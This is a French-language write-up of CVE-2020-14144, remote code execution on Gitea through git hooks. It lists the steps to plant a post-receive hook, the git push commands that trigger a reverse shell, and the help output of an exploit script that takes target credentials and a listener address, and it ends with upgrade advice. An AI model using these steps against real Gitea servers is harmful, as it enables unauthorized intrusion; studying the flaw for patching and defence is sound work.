Exploitation de la CVE-2020-14144 - Exécution de code à distance authentifié sur GiTea

Table des matières :

La fonctionnalité git hook dans Gitea 1.1.0 à 1.12.5 pourrait permettre l’exécution de code à distance authentifié dans les environnements client où la documentation n’a pas été comprise (par exemple, un point de vue est que la dangerosité de cette fonctionnalité doit être documentée immédiatement au-dessus de ENABLE_GIT_HOOKS ligne dans le fichier de configuration). La vulnerabilité a été trouvée par Niklas Goerke en avril 2020.

REMARQUE: L’éditeur a indiqué qu’il ne s’agissait pas d’une vulnérabilité et déclare “C’est une fonctionnalité du logiciel limitée à un sous-ensemble très limité de comptes. Si vous accordez à quelqu’un le privilège d’exécuter du code arbitraire sur votre serveur, ils peuvent exécuter du code arbitraire sur votre serveur. Nous fournissons des avertissements très clairs aux utilisateurs concernant cette fonctionnalité et ce qu’elle fournit. "

Afin d’exploiter cette vulnérabilité / fonctionnalité, nous devons avoir un compte GiTea avec les droits “May create git hooks” activés.

Une issue github a été ouvert et corrigé dans la version 1.13.0

Exploitation

Afin d’exploiter avec succès cette vulnérabilité / fonctionnalité, la version du serveur cible GiTea doit être comprise entre la version 1.1.0 et la version 1.13, et vous avez besoin d’un compte valide (nom d’utilisateur, mot de passe) avec les droits “May create git hooks” activés.

Compte avec les droits “May create git hooks” actifs

Du point de vue de l’administration système, le processus gitea ressemble à ceci avant l’exploitation:

Status du service Gitea avant l’exploit

Tout d’abord, nous devons créer un nouveau repository sur l’interface Web de GiTea, en utilisant notre compte. Nous créons le repository et nous allons dans Paramètres -> Git Hooks -> Post Receive Hook. Dans ce hook, vous pouvez écrire un script shell qui sera exécuté après avoir reçu un nouveau commit.

Post Receive Hook

Nous allons maintenant créer un répertoire temporaire sur notre machine attaquante et le push vers le repository distant. Cela déclenchera le script Post Receive Hook.

touch README.md
git init
git add README.md
git commit -m "Initial commit"
git remote add origin https://vulnserver/testuser/vuln.git
git push -u origin master

Après avoir push le commit vers le repository distant, il déclenchera le script Post Receive Hook et nous aurons un reverse shell!

Reverse Shell

Après l’exploitation, un administrateur système peut facilement voir notre reverse shell détaché dans les processus enfants de GiTea:

Status du service Gitea après l’exploit

Script d’exploit

$ ./gitea_CVE-2020-14144.py -h
    _____ _ _______
   / ____(_)__   __|             CVE-2020-14144
  | |  __ _   | | ___  __ _
  | | |_ | |  | |/ _ \/ _` |     Authenticated Remote Code Execution
  | |__| | |  | |  __/ (_| |
   \_____|_|  |_|\___|\__,_|     GiTea versions >= 1.1.0 to <= 1.12.5

usage: gitea_CVE-2020-14144.py [-h] [-v] -t TARGET -u USERNAME -p PASSWORD [-I REV_IP] [-P REV_PORT] [-f PAYLOAD_FILE]

Process some integers.

optional arguments:
  -h, --help            show this help message and exit
  -v, --verbose         Increase verbosity.
  -t TARGET, --target TARGET
                        Target host (http://..., https://... or domain name)
  -u USERNAME, --username USERNAME
                        GiTea username
  -p PASSWORD, --password PASSWORD
                        GiTea password
  -I REV_IP, --rev-ip REV_IP
                        Reverse shell listener IP
  -P REV_PORT, --rev-port REV_PORT
                        Reverse shell listener port
  -f PAYLOAD_FILE, --payload-file PAYLOAD_FILE
                        Path to shell script payload to use.

Le script complet est disponible ici.

Recommendations

Il est recommandé de mettre à jour Gitea vers la version 1.13.0 et de désactiver les droits May create git hooks sur tous les comptes n’en ayant pas la nécessité.

Références additionnelles